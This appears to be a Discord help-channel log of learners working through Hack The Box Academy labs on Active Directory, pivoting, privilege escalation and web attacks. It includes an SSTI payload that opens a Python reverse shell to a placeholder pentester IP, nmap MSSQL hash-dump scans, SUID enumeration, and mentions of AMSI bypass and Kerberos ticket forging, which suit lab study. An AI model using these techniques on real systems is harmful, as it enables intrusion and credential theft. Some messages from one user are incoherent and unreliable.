#modules

1 messages · Page 128 of 1

pulsar willow
#

The string in a file, should always say Negotiating

#

so, the humid of that space turns endevor

thorn urchin
#

are you okay

#

you having a stroke

modern falcon
#

Hi guy, for AD enumeration, do the credentials captured by Inveigh dependent on what machine you run it in, assuming that the machines are in the same internal network?

short hare
#

PIVOTING, TUNNELING, AND PORT FORWARDING: Skills Assessment
Question:
Enumerate the internal network and discover another active host. Submit the IP address of that host as the answer.

What I have done
Accessed the wbeshell and found the username (mXXXX) and password and copied and pasted id_rsa(mget/get doesn't work) and done chmod 600 to it

When I 'ssh mXXXX@IP -i id_rsa' and put the password I can't log in the ssh

Can anyone help me? What I am doing wrong?

modern falcon
#

Can you explain why?

thorn urchin
#

cause its only listening to traffic, but if the traffic isnt being sent to the machine youre listening on youre not gunna hear anything

#

so it can vary depending on exactly why the traffic is being created in the first place

modern falcon
#

I see. Thanks

vital adder
#

if your target are a docker container which use public ip then you can't scan or ping them but if your target are just local vm then some of them could have firewall enable which block icmp

limber river
iron plaza
#

i have been having rdp issues since yesterday too

#

even now i tried to rdp ... got it then after few seconds it fails on the pwnbox

limber river
iron plaza
#

this is for the Active Directory Enumeration & Attacks - Living Off the Land

limber river
iron plaza
vital adder
#

HTB been having some issue recently because of an back end hosting provider yeeted them self out so there was some issue for targets on both platform for the last few days

iron plaza
vital adder
#

if it's an back end issue there is nothing we can do

#

but i haven't got this issue so far

iron plaza
#

i have been stuck on the same section since yesterday

vital adder
#

but y'all can do common stuff like make sure both your vpn and the pwnbox isn't on at the same time and changing vpn

honest ridge
#

linux privesc shell assessment last question. ran linux-exploit-suggester and tried a couple but no luck. primarily with no access to gcc ? any ideas?/hints?

iron plaza
limber river
vital adder
#

again if it's an internal HTB issue there isn't anything much that we can do to fix this

vital adder
iron plaza
#

well i guess its time to go and touch grass until this is over

short hare
vital adder
#

i guess ssh dynamic port forwarding is the easiest thing you can do for pivoting but if you got a shell you can just use that to continued pivoting

vital adder
honest ridge
#

yeah in meterpreter with that atm @vital adder but f all commands can be used. trying to figure it out but just getting command not found constantly

vital adder
#

pls don't tell me you are running your command in the meterpreter shell? 🤣

#

in the meterpreter shell run shell to drop into a linux shell on the target

#

or not sure if this will work but you can use shell -t for a pty shell

honest ridge
#

omfg

#

lol

#

i tried it before but maybe derped? i dunno but dropin into shell now ty

vital adder
#

@limber river @iron plaza quick question did you guys use xfreerdp for rdping into the target machines? if yes then did you guys got this error? transport_check_fds: transport->ReceiveCallback() - -1

limber river
vital adder
#

i was wondering if that was the issue because that's an tls error and adding the /tls-seclevel:0 tag will fix it

edit: wait nope i don't think that's an tls error but not sure 🤷‍♂️

iron plaza
# vital adder <@880097090221527092> <@457547200009076757> quick question did you guys use xfre...

i got this error on pwnbox:
`[03:37:44:505] [2627:2628] [ERROR][com.freerdp.core.transport] - BIO_should_retry returned a system error 104: Connection reset by peer
[03:37:44:505] [2627:2628] [ERROR][com.freerdp.core] - transport_write:freerdp_set_last_error_ex ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]

[03:37:44:505] [2627:2628] [ERROR][com.freerdp.core.transport] - NLA begin failed

[03:37:46:529] [2627:2628] [INFO][com.freerdp.gdi] - Local framebuffer format PIXEL_FORMAT_BGRX32

[03:37:46:529] [2627:2628] [INFO][com.freerdp.gdi] - Remote framebuffer format PIXEL_FORMAT_BGRA32

[03:37:46:544] [2627:2628] [INFO][com.freerdp.channels.rdpsnd.client] - [static] Loaded fake backend for rdpsnd

[03:37:46:544] [2627:2628] [INFO][com.freerdp.channels.drdynvc.client] - Loading Dynamic Virtual Channel rdpgfx

[03:37:58:082] [2627:2628] [INFO][com.freerdp.client.x11] - Logon Error Info LOGON_FAILED_OTHER [LOGON_MSG_SESSION_CONTINUE]

[03:38:11:916] [2627:2628] [ERROR][com.freerdp.core.transport] - BIO_read returned a system error 110: Connection timed out

[03:38:11:916] [2627:2628] [ERROR][com.freerdp.core] - transport_read_layer:freerdp_set_last_error_ex ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]

[03:38:11:916] [2627:2628] [INFO][com.freerdp.client.common] - Network disconnect!`

limber river
#

And turn down again

trail depot
#

I had a different username

vital adder
limber river
short hare
iron plaza
short hare
vital adder
#

yeah if the error is persistent for multiple user then most likely this is an internal error

limber river
trail depot
iron plaza
short hare
limber river
iron plaza
limber river
limber river
#

can someone please explain what's hapenning here ?

orchid pine
coarse void
orchid pine
#

Its a pass the ticket no

#

Those are kerberoz keys

#

Nit passwords

#

And they are encrypted in aes 256 mod

#

But idk what is that in the output of the cmnd ysing rc4 reffer for

coarse void
orchid pine
#

Can domeone explain

limber river
coarse void
#

To forge a ticket using Rubeus, we can use the module asktgt with the username, domain, and hash which can be /rc4, /aes128, /aes256, or /des.

#

quoted from the section

coarse void
#

also it won't pass the ticket unless /ptt is specified

limber river
#

so basically it's the same hash encoded with two different algorithm but why rebeus show rc4 in the output and we give it aes

coarse void
#

i might know what u mean

limber river
coarse void
#

yah i tried runnning the command

#

maybe wait for others

limber river
coarse void
#

lol mb for the wrong answer

limber river
coarse void
#

thx

rustic sage
#

Hello everybody, im stuck in linux privilege escalation --> logrotate, i found the log file and im tring to execute the exploit but is stuck here Waiting for rotating /home/file.log

#

the file is diferent but i dont show it for server rules

short hare
#

catpls

Finally

thick juniper
#

I just got it thanks to your tip, thank you!

short hare
rustic sage
#

somebody could help with linux privilege escalation, logrotate?

#

Please im stuck here for 4 days

loud sparrow
short hare
fresh compass
#

Hi! Im in the ffuf module trying to do the lab but my vm network is crashing everytime I use ffuf

#

Any ideas why this is happening?

fathom pendant
rustic sage
#

Hello somebody could help with linux privilege escalation, logrotate?

fresh compass
# fathom pendant Probably your isp rate limiting

And what should I do to avoid that? The other day everything worked perfect but today I am trying by lan, wifi and connecting to my phone but everytime the vpn crashes throwing me the error “no route to host”

fathom pendant
#

Well if it's a vpn issue, try switching from udp -> tcp vpn config

tough fern
#

the main access point for main control access points were in the main access pointers were in the cordic central serever to save

unreal berry
#

Hi guys, Im doing the file upload section and I have a problem in the blacklist filter section. I get 403 Forbidden error on the file. is that ok or should I try something else

#

im stuck on it for days now lol

#

I used the upload function on all the php extensions. with the following body

rustic sage
unreal berry
#

the one in seclists right ? @rustic sage

rustic sage
#

wtf what are u doing?

#

see the size of the responses

#

you are not fuzzing right

austere silo
#

Why would you even need to fuzz this ? xD

rustic sage
unreal berry
#

I tried to upload webshell file on in each of the extensions, then I requested it via /profile_images/ path.

unreal berry
rustic sage
#

you have to look this

#

the lenght is the key

#

this sounds a bit ilegal....

bold sundial
#

It's not illegal at all

#

I'd explain why I said that

analog dock
#

Lol

#

That’s a user my friend

rustic sage
#

ahh sorry

unreal berry
#

@tough fjord @burnt stone @spring tundra

analog dock
unreal berry
#

k sry

analog dock
#

But you can ping SERIOUS RULE BREAK when something like that happens, at least that’s what I do

burnt stone
#

Yes, please do that next time ^

analog dock
rustic sage
#

Now could somebody please help me with linux privesc, logrotate module?

#

Im stuck here for 4 days..

thick juniper
rustic sage
#

it never executes is waiting....

thick juniper
rustic sage
#

Thanks bro!

novel shoal
loud sparrow
#

Hey, can someone help me with the last question on Active Directory Enumeration & Attacks, Section: Living Off the Land

rustic sage
rustic sage
quiet skiff
#

Howdy

hardy egret
#

Hi, could someone help me, I am a bit stuck on "Active Directory Enumeration and Attacks - Privilege Access" - Q2: What host can this user access via WinRM? (just the computer name)

rustic sage
hardy egret
#

I have run the query but I am not sure what the computer name is

rustic sage
#

if the name is example.inlanefreight.local the name of the computer will be "example"

hardy egret
#

when I put the name in that I get it says that it is the wrong name

rustic sage
#

what name are u puting?

hardy egret
#

I sent a private message

rustic sage
#

okay

loud sparrow
tough prawn
#

The worst thing in life:

loud sparrow
#

Hey, can someone help me with the last question on Active Directory Enumeration & Attacks, Section: Living Off the Land

analog dock
loud sparrow
#

yes sry, i got it

analog dock
#

Good stuff

raven locust
#

anyone else having an issue with boxes repeatedly going down?

#

trying to do the pivoting module but the spawned boxes continuously go down

iron plaza
raven locust
#

yeah, im just unable to finish a question because i cannot proxy to a webserver in time before the machine just dies

vivid igloo
#

mod :Active Subdomain Enumeration q : Find and submit the contents of the TXT record as the answer. did dig TXT inlanefreight.htb @10.129.91.90 not working any hints ?

simple swan
#

Try to change the admin's email to 'flag@idor.htb', and you should get the flag on the 'edit profile' page.

woven copper
vivid igloo
vivid igloo
#

and non giving me the TXT record

tender acorn
#

In the Linux fundamentals Module section file system management. I have a problem.

Question: What is the size in GiB of the "/dev/VDA" Disk in our Pwnbox? (Format: 000)

When I run the command sudo fdisk -l the output is

#

160 is wrong. What do I wrong.

lusty thicket
raven locust
tender acorn
raven locust
#

i assume you didn’t put the quotation marks?

#

also be sure to remove the answer from this chat so you don’t spoil others

tender acorn
#

I only put the question makers to show my answer and the format.

tender acorn
raven locust
#

should be without

tender acorn
high reef
#

When cracking a NTLMv2 hash which part of the hash do i need ?

pulsar willow
#

When the roaming disk goes suade, the files command another brick in the system

#

following the thread moreover

high reef
#

but for some reason i'm getting this error massage in hashcat

paper gust
#

those fields are necessary

high reef
#

i tho i only need the last part of the hash

#

so input the entire hash

#

into text file

paper gust
#

yes, you need the entire hash

high reef
pulsar willow
#

The power-stations of the hash, and the codec numerics, are all faintly a square number in the map system.

#

so, the hash has commands for utlity problematics, and the sense of that is an illsit command.-

short hare
#

My bad sorry...

I just mixed up another thing

short hare
barren anvil
#

script kiddies unite

fiery berry
#

would have been better to put the hash between spoiler tags 😅

limber river
#

We all do

#

It happens all the time

fathom pendant
#

Eh

#

Just a skill issue

supple patio
#

Writing on my own))

limber river
fathom pendant
supple patio
#

== skill

sly kelp
limber river
supple patio
sly kelp
real hill
#

Can someone help out with a question in the Intro to Network Traffic Analysis module? I've input the expected answer but it is not being accepted by the question form and neither are any of its variations 🙂

modern island
#

Hey, anyone have an idea why PowerSploit isn't importing all commands on Windows 11. The only commands getting imported by Get-Command -Module PowerSploit are: {Get-ComputerDetail, Get-HttpStatus, Invoke-ReverseDnsLookup}. Already bypassed AMSI and tried to move the module to the $env:PSModulePath

Systeminfo:

OS Name:                   Microsoft Windows 11 Pro
OS Version:                10.0.22000 N/A Build 22000
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Member Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          htb-student
```
#

Frustrating

limber river
sly kelp
limber river
odd swan
#

creds don't seem to work in the AD LDAP module for the LDAP overview section

thorn ingot
#

BROKEN AUTHENTICATION: Using rockyou-50.txt as password wordlist and htbuser as the username, find the policy and filter out strings that don't respect it. What is the valid password for the htbuser account?
https://academy.hackthebox.com/module/80/section/777

||I already found the password list, but I can't seem to find a way to bypass rate-limiting. I tried looking for an option in wfuzz or ffuf that delays the request by n seconds but I couldn't find none. ||

limber river
#

It comes with the module

iron plaza
#

@limber river dude sent you a dm if you dont mind

thorn ingot
limber river
thorn ingot
#

the answer is already in the list found

#

I'll try it again and check if I missed something in the code

limber river
limber river
#

Lol

limber river
#

Please

acoustic owl
limber river
acoustic owl
#

So either with a script, or manually, because after 3 or 4 attempts, the access is blocked for a few seconds.

limber river
#

How It could be done, with script I can't remember what I have done

thorn ingot
#

@acoustic owl I solved it manually but I couldn't do it with the script for some reason.

acoustic owl
#

You can build your script to try a password every 20 or 30 seconds

acoustic owl
#

In python you can use sleep

import time
time.sleep(20)

acoustic owl
thorn ingot
sly dome
#

should not I receive an icpm trace every minute?

#

its not working

#

i mean it works but what is wrong with my scheduled task then

vital adder
#

which module and section are you on?

mossy hatch
#

how can i copy a command in pwnbox?

sly dome
vital adder
#

wlep my note for that and a few more section in that module is F up for some reason so give me a sec i'll double check

vital adder
mossy hatch
sly dome
#

ok fixed

#

Logon Mode: Interactive/Background

#

so you need creds to create background scheduled tasks

mossy hatch
#

i have a problem in Footprinting module, MYSSQL section when i run this script it says to debug it i don't know what to do

#

it's the same nmap scan as shown in the section i just changed the ip

sly dome
#

do it?

#

use -d flag

mossy hatch
#

i tried but i get nothing interesting just bunch of errors

sly dome
#

thats what a debug consits of

mossy hatch
#

yea i know

sly dome
#

also the parameter should be mssql.instance-name

#

or is that a dash? i see a point let me open screenshot

#

maybe the instance name is not MSSQLSERVER?

mossy hatch
#

it's a dot

#

sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.instance-name=MSSQLSERVER -sV -p 1433 10.129.148.111

#

it would be weird but maybe you're right

sly dome
#

i havent gone through that module but the syntax is correct

mossy hatch
#

i'll try with metasploit if i can do the host enum

sly dome
#

if you try to enumerate de instance name?

#

nmap -p 1433 --script ms-sql-info --script-args mssql.instance-port=1433 <host>

mossy hatch
#

it just says host is up but nothing, i'll try something else later i've been doing this for too long

#

thanks

lusty thicket
sly dome
#

its not working

mossy hatch
#

i did find the answer with metasploit anyway but nmap script doesn't work

sly dome
#

they changed something in nmap 7.93

mossy hatch
#

yea i have the 7.93

sly dome
#

yea i downgraded it in the pwnbox XD

#
sudo apt remove nmap --purge
sudo apt install nmap=7.92+dfsg1-2parrot1 nmap-common=7.92+dfsg1-2parrot1
mossy hatch
#

maybe an erratum would be good?

sly dome
#

yes

#

a 100%

mossy hatch
#

i dit it

sly dome
#

nice, we can go on now

sly dome
#

this is the issue

#

update to 7.94 or downgrade to 7.92

#

nvm its not fixed in 7.94, but there are 2 workarounds:

blissful rover
#

Hey everyone, I'm new to the pentesting path and would love some help if anyone has time/interest. I'm a bit stuck on the nmap module's "Host and Port Scanning" section. The question I'm stuck on is asking to "Enumerate the hostname of your target and submit it as the answer (case-sensitive)".

I've scanned the target and found a few services responding but I'm coming up short with ideas on how to enumerate the hostname given a lack of a DNS server with useable PTR records. The module doesn't mention anything about hostname enumeration techniques so I did some digging online but haven't found anything to unblock me. I tried scanning the entire /24 to see if there might be another host on that subnet I could point nmap to for useable PTR records but only found my target host being up.

Is there an nmap script I'm not aware of I should be trying or some other tip to point me in the right direction? Everything I've found online says if you don't have a DNS server with a PTR record there's no magic nmap will provide to enumerate a hostname for you.

Thanks in advance to anyone that can help me out with pointers (not looking for answers unless the question is actually unsolvable in its current state...)

sly dome
#

which OS is your target running? you can know it based on the TTL

#

if its asking about hostname i suppose its a Win machine

#

hostname can be found in protocols like SMB

blissful rover
#

when you say "found in protocols" how so?

#

I'm still really early in the course so the number of tools in my toolkit is currently quite limited 😅

sly dome
#

you should follow the path recommendations

#

and do information security foundations path before

blissful rover
#

I'm following exactly the prescribed order of modules in the course

sly dome
#

read the pentester path description

blissful rover
#

I got it sorted, thanks for the....stellar advice... @sly dome

sly dome
#

no problem man

#

but i’d not go through Pentester Path without infosec foundations

fathom pendant
#

It depends

sly dome
#

the content is just too dense for a beginner

fathom pendant
#

Beginner can mean different things in context too

sly dome
#

👍🏽 😂

#

he will see in more advanced modules

fathom pendant
#

I'd say if you've never had any experience with command line or Linux: infosec foundations definitely is a better start

orchid pine
#

But overall you need some foundation in networking some basic knowledge

#

Cmd

sly dome
#

in my opinion the problematic OS is Windows

orchid pine
#

Shell

orchid pine
sly dome
#

Linux is 100x easier to understand xd

orchid pine
#

Me at this moment

sly dome
#

HAHAHA

orchid pine
#

Are you

#

Doing the Pentest path

sly dome
#

i have little experience in Pentesting and im learning things in the infosec foundations path

sly dome
#

infosec foundations-python-cbbh path-cpts path

fathom pendant
#

Eh

#

Python isn't really needed tbh

sly dome
#

im experienced at Python tho

orchid pine
sly dome
#

just gonna do it for fun

#

its a short module

#

you need Python definitely por Pentesting imho

fathom pendant
#

Python more if you're planning to do cbbh probably

#

Not really. Unless you're custom crafting scripts

orchid pine
#

i just want to know why cbbh befor cpts

sly dome
fathom pendant
#

Cbbh expands more on some of the web techniques in the modules that can help

sly dome
#

very powerful skill

orchid pine
#

I want to finish the cpts im already half way

sly dome
orchid pine
#

And ill go

#

For bouth exams

sly dome
#

an scripting language is essential 🤷🏻‍♂️

vocal tusk
#

hi guys im stuck on this last question in password attacks the last 6 days

#

mad to get over the slump. its the last question in pass the ticket i cant seem to log in as linux01 and get the flag in smb

vital adder
#

*info

compact jacinth
#

Hi could anyone point out whats wrong in this?
ffuf -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://academy.htb:36515/ -H 'Host: FUZZ.academy.htb'

vital adder
#

also next time pls add what module and section you are doing, what you tried, what work or didn't work pls don't send your command without any context and ask what's wrong with it

acoustic owl
covert grail
#

hey guys where i can download the wordlist for the modules

#

every time i have pain for this

#

now im doing the ```
File Inclusion

Page 4
PHP Filters

PHP Filters```
module and i cant find a wordlist for it

rustic sage
#

Hello everyone Im in windows Privesc module Communication with Processes when i use accesscheck works but insteadly i use it again and doesnt work, what is happen here?


Accesschk v6.15 - Reports effective permissions for securable objects
Copyright (C) 2006-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

\\.\Pipe\lsass
  Untrusted Mandatory Level [No-Write-Up]
  RW Everyone
        FILE_READ_ATTRIBUTES
        FILE_READ_DATA
        FILE_READ_EA
        FILE_WRITE_ATTRIBUTES
        FILE_WRITE_DATA
        FILE_WRITE_EA
        SYNCHRONIZE
        READ_CONTROL
  RW NT AUTHORITY\ANONYMOUS LOGON
        FILE_READ_ATTRIBUTES
        FILE_READ_DATA
        FILE_READ_EA
        FILE_WRITE_ATTRIBUTES
        FILE_WRITE_DATA
        FILE_WRITE_EA
        SYNCHRONIZE
        READ_CONTROL
  RW APPLICATION PACKAGE AUTHORITY\Your Windows credentials
        FILE_READ_ATTRIBUTES
        FILE_READ_DATA
        FILE_READ_EA
        FILE_WRITE_ATTRIBUTES
        FILE_WRITE_DATA
        FILE_WRITE_EA
        SYNCHRONIZE
        READ_CONTROL
  RW BUILTIN\Administrators
        FILE_ALL_ACCESS
PS C:\Users\htb-student\Desktop> .\access.exe /accepteula \\.\Pipe\lsass -v

Accesschk v6.15 - Reports effective permissions for securable objects
Copyright (C) 2006-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

\\.\Pipe\lsass
  Error getting security:
  All pipe instances are busy.
No matching objects found.

PS C:\Users\htb-student\Desktop>
#

can anyone help ?

#

<@&861185840277487616>

#

what

#

i want someone

#

please

autumn pilot
vital adder
rustic sage
#

the user @rustic sage is asking for illegal questions

#

he whats to hack a discord account

vital adder
vital adder
rustic sage
vital adder
#

accesschk itself is for checking the permission so you don't know when you can or can't run it, you have to run to know

vital adder
#

but if there is wordlists for you to download in a module you can get it under Resources

rustic sage
# vital adder accesschk itself is for checking the permission so you don't know when you can o...

what am doing wrong?


Accesschk v6.15 - Reports effective permissions for securable objects
Copyright (C) 2006-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

\\.\pipe\SQLLocal\SQLEXPRESS01
  Error getting security:
  All pipe instances are busy.
No matching objects found.

PS C:\Users\htb-student\Desktop>gci \\.\pipe\

    Directory: \\.\pipe\SQLLocal


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
------       12/31/1600   4:00 PM              3 SQLLocal\SQLEXPRESS01```
vital adder
#

just my realized my educated guess kinda right because if you read the error it's All pipe instances are busy so maybe run it again 🤣

#

or try C:\Tools\AccessChk\accesschk.exe /accepteula \pipe\SQLLocal\SQLEXPRESS01 -v

rustic sage
#

got it!

#

my problem is in te path

#

is ```or try `C:\Tools\AccessChk\accesschk.exe /accepteula \pipe\SQLLocal\SQLEXPRESS01 -v``
and using
\.\pipe\SQLLocal\SQLEXPRESS01

mossy hatch
#

i have a question for footprinting module in Oracle section, i found the answer ||but i'm curious why i can't use where to select only the user asked in the question : select name, password from sys.user$ where name=DBSNMP; it respond with invalid identifier||

mossy hatch
lusty thicket
vital adder
#

there is no for the module that you're on but for the modules that have wordlist it's right here

covert grail
#

where i can find a good wordlist ?

vital adder
#

again there are no wordlist in your module

covert grail
#

ye

vital adder
#

all wordlist show in any section 99% are on the pwnbox

#

or from the name you can just download it yourself

covert grail
vital adder
#

which section?

mossy hatch
sly dome
#

use a common wordlist adding .php

vital adder
sly dome
#

you need to fuzz with php extension

vital adder
#

that's the File Inclusion module PHP Filters section, you sure you got the right module and section? or if you mean the very first command then that one for finding index.php 🤣 (they end up didn't ues the other one)

sly dome
vital adder
#

🤦‍♂️ maybe i got something mixed on my end but dono 🤷‍♂️

edit: forgot the command in my note isn't on the example but you don't need to fuzz for extensions on this one

covert grail
#

😅
im just a little bad to find wordlist

pulsar willow
#

the newly landed spacials for text commands has an utility

#

so, the deducted verse has two or more scratch-volcubarity in the screen command files, as they shred to a new document address

#

so, the link has deduction

lusty thicket
#

bro?

orchid pine
#

ther is a probleme with thius

#

the cred are worng

candid lily
#

cant we still use other's userId to get privileges

foggy brook
#

Can someone please DM me for help with AD skills lab part 2, this is my third day on this and I'm going crazy

orchid pine
#

how can i reach the support

misty current
# orchid pine

can you show us the exact command that you're running.

ashen umbra
#

I am on the medium password cracking lab and have gotten into a user account. I am having trouble with enumerating the root password. I see a second user that has bash history, but dont have that password. Any hints on where to look next?

orchid pine
#

if we are targeting an mssql server from linux we use sqsh

final tundra
#

odds are you can't, but that'll be the easiest way if you can

ashen umbra
#

cant cat shadow

final tundra
#

next thing to do is to look through config files for whatever services the box is running

#

I found root password in a box I did yesterday inside a php config file

#

I would honestly just go through standard priv esc stuff. Is this a linux box?

#

I assume so since you tried to cat /etc/shadow, but just wanna confirm

#

If it is, see if you can do sudo su with no password, do sudo -l (gives you a list of applications the current user has sudo permissions for)

#

do find / -perm u=s -type f 2>/dev/null

#

look for suid bit set

#

there's a whole slew of things to try!

tight glen
#

just fun fact eu academy vpn permanently disconnect while na is working for me

#

incase anyone had similar issues

fiery berry
final tundra
#

Sure, that should be checked too, although it’s a bit infrequent to find password hashes there

fiery berry
#

definitely, sorry I didn't follow from the beginning but if he can't read the "shadow" file probably doesn't have enough permissions

final tundra
#

Mhm. Just checking it anyways. Gotta make sure to cross our ts and dot our is

gloomy bramble
#

Does anyone know if there is a known issue with the Reverse Shells module under Shells & Payloads course? Keeps disconnecting making it hard to trial and error the payload. 😦 I got the answer to the question, and luckily understand the concept. Just was hoping to connect and get it "proper".

orchid pine
#

on this some one said that i need to use windows auth

gloomy bramble
orchid pine
#

but why it wasnt the thing with htbdbbuser

#

we connected normally

gloomy bramble
calm jetty
#

Currently on attacking common services: SMTP. I've obtained creds for the user but I'm struggling to use them to get the users email messages and in turn the flag. All help appreciated

ashen umbra
ashen umbra
#

yup still suckin at this. Tried linpeas, some other priv esc and now im looking to crack the other user's pass remotely with a mutated password list. Dunno

final tundra
sly dome
orchid pine
acoustic owl
orchid pine
#

attacking common services sql

thorn urchin
#

mssqlclient works better for me on that one than sqsh

#

you def dont have to use windows though

acoustic owl
#

which module are you talking about?
AD Enum & Attack?

#

If I remember correctly, you found the user in the previous sections

#

forend should work

round sable
#

Hi, in SQLMAP - skills assessment, sqlmap returns a syntax error for any non trivial id value, no matter which tamper script I try.
Could I get some help ?

worn matrix
#

is anyone knows,why when i do curl -x post ip -d key=text i get the flag,but when i do a request from the Burpsuite,i dont get the right flag,with exactly the same request?it returns me the text that returns without any data.But i put the data in the body,in the same type as i do with curl.Any tip?

thorn urchin
#

show your burp request

worn matrix
#

i am here 90 minutes and i cant figure it out

#

is it something obvious? sadglas

#

i thought maybe with content-type but still couldnt figure it out

placid heron
#

ur using : in burp and = with curl?

worn matrix
#

i fixed it

#

jesus this thing.i did a -vvv.Content-type:application/x-www-form-urlencoded was the right,it needed the application.Thanks for fast responses anyways! ❤️

placid heron
#

was gonna say that

#

u can proxy your curl through burp and see the differences betweeen the request made by curl and the request you were trying to send

#

but anyways cheers it works now

worn matrix
#

still very very noob to these concepts,thats why i didnt think of it.thanks for the help

placid heron
#

you try it if you want, add --proxy http://127.0.0.1:8080 to the end of the curl command you were using and watch Proxy -> HTTP History in Burp or just intercept, also np

worn matrix
#

thanks a lot

rustic sage
#

I need help

#

My machine won't spawn

#

The ovpn won't open on my vm

digital dove
#

how can nmap make udp scan and in my know udp do not make any response unlike tcp

novel matrix
novel matrix
digital dove
#

but in udp if get and packet do not send any response

#

so how nmap can make udp scan

novel matrix
#

It will do a 3 way handshake if I'm not mistaken for TCP

digital dove
novel matrix
#

If it doesn't make sense, I would look more into it and understand. Especially if you are doing packet analysis in SOC or gov work

digital dove
rotund urchin
#

Can someone help with the Command Injections module and bypassing blacklists?

orchid pine
#

UDP Probe: Nmap sends a UDP packet to each target port. For some common ports, the packet contains a protocol-specific payload that is likely to generate a response.

Open Port: No response is received.
Closed Port: An ICMP port unreachable error is received.

#

i wish its help

final tundra
final tundra
#

Ah, I was talking about udp as a protocol, not exclusive to nmap scand

#

My bad

hot herald
#

Hello Everyone

#

Linux Fundamentals Module

viscid crypt
#

Hi there! I need a little nudge on the Session Security - Skills Assessment module.

Update: Turns out I was doing almost the right thing all along and overcomplicating it.

lusty thicket
mossy hatch
unkempt shore
#

where can i get walkthrough for OOPArtDB web challenge

vital adder
vital adder
#

that is not a box nor is this the right place to ask that

rustic sage
#

Hello everyone, i have i question, im in powershell/cmd session how can i know if i have administrative permissions?

fiery berry
rustic sage
# fiery berry One way would be to see if your current user is in the "administrators" group: `...

I doont see it

User name                    htb-student
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            6/10/2021 10:41:20 AM
Password expires             Never
Password changeable          6/10/2021 10:41:20 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   9/20/2023 2:22:09 AM

Logon hours allowed          All

Local Group Memberships      *Remote Desktop Users *Users
Global Group memberships     *None
The command completed successfully.

PS C:\Windows\system32>```
#

in local group membership put users, but not administrators, but i have administrator rights

fiery berry
#

to check you could even try to open an elevated prompt, if you are asking me if there is a precise way of doing it then we have to wait for someone else or google a bit

rustic sage
#

i have elevate prompt, my question is if how i can know this?

#

i use this but i have :False

fiery berry
#

if you execute net session what is the output?

rustic sage
#
```
#
System error 5 has occurred.

Access is denied.

PS C:\Windows\system32>```
fiery berry
#

can you go inside the administrator directory?

rustic sage
#

the first image is with elevated prompt, the second with normal prompt, i dont understand what is happening

fiery berry
#

I guess is the UAC

rustic sage
#

Path
----
C:\Users\Administrator


PS C:\Users\Administrator> dir
dir : Access to the path 'C:\Users\Administrator' is denied.
At line:1 char:1
+ dir
+ ~~~
    + CategoryInfo          : PermissionDenied: (C:\Users\Administrator:String) [Get-ChildItem], UnauthorizedAccessExc
   eption
    + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

PS C:\Users\Administrator>```
rustic sage
rustic sage
#

ahhhh

#

how can i know i have administator access token in my powershell session?

#

im executing this but notting happens

PS C:\>```
placid quest
#

@rustic sage you don't have administrative privileges

rustic sage
# placid quest <@456226577798135808> you don't have administrative privileges

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                              State
============================= ======================================== ========
SeTakeOwnershipPrivilege      Take ownership of files or other objects Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                 Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set           Disabled
PS C:\>


PS C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\>

Im the same user, first with elevated prompt, second with normal prompt, how can i know if im in elevated prompt?

#

WHAT IS HAPPENING HERE???

placid quest
#

You don't have administrator privileges

rustic sage
placid quest
#

@rustic sage it does not change anything bro use net user username to change if you have administrator access

rustic sage
#

look this

placid quest
#

If you can't run powershell has administrator it means your account has no administrative privileges

rustic sage
#

i run it

rustic sage
#

can i write you a message in private? @placid quest

placid quest
#

Ok

vocal tusk
#

Hi guys im on the Hard Password attaks assesment cant seem to get a handle on how to find davids credentials. any chance of a hand

#

I got in to rdp with johanna

orchid pine
#

U are on the rdp right

#

Try to enumerate everything in the target

#

Something useful

#

Its in front of you just keep looking

vocal tusk
#

can i pm youy

cinder tinsel
#

WINDOWS EVENT LOGS & FINDING EVIL - Skills Assessment - any help please? i been stuck for a while now. i was not able to solve the first question.

orchid pine
#

Yeah sure

trail cave
#

Hey everyone!
I have a question regarding SSTI "Exploitation Example 3":

Could anyone tell me why none of the reverse shells seem to work? I always get the error 500.

I have a hinch that I'm encoding it wrong, but don't know how to do it.
I already got the flag, but don't want to skip getting the rev shell too...

#

That's how I've encoded it

#

And this is the original payload:

{{''.__class__.__mro__[1].__subclasses__()[214]()._module.__builtins__['__import__']('os').popen('python -c \'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<PENTESTER_IP>",<PENTESTER_PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\'').read()}}
sly dome
#

did you test RCE with a simpler payload

trail cave
#

@sly dome Yeah, it works with single commands like "id" "ls" and so on. But I can't manage to get a rev shell. I also tried some bash rev shells instead of python and it also doesn't work

sly dome
#

can you ping yourself?

#

if you can ping then try to check if tcp traffic is working, set up a Python http listener on your side and try to wget/curl it

#

if tcp traffic is working just keep trying shells, use base64 and in SSTI i like to url-encode ALL characters

trail cave
#

Thanks for the tips! Both ping and tcp traffic is working, so I'll keep trying to encode the payload differently! Tried the all character encoding too already, but it didn't work unfortunately

sly dome
mossy nest
#

Hey RafaJurado, quick question about revshells website. If I want a shell to pop from a powershell to a powershell I'll have to select powershell down in the shell selector ?

#

@sly dome

sly dome
#

use Nishang

#

and you will have to setup a listener on the other PS session

#

something that is widely documented online

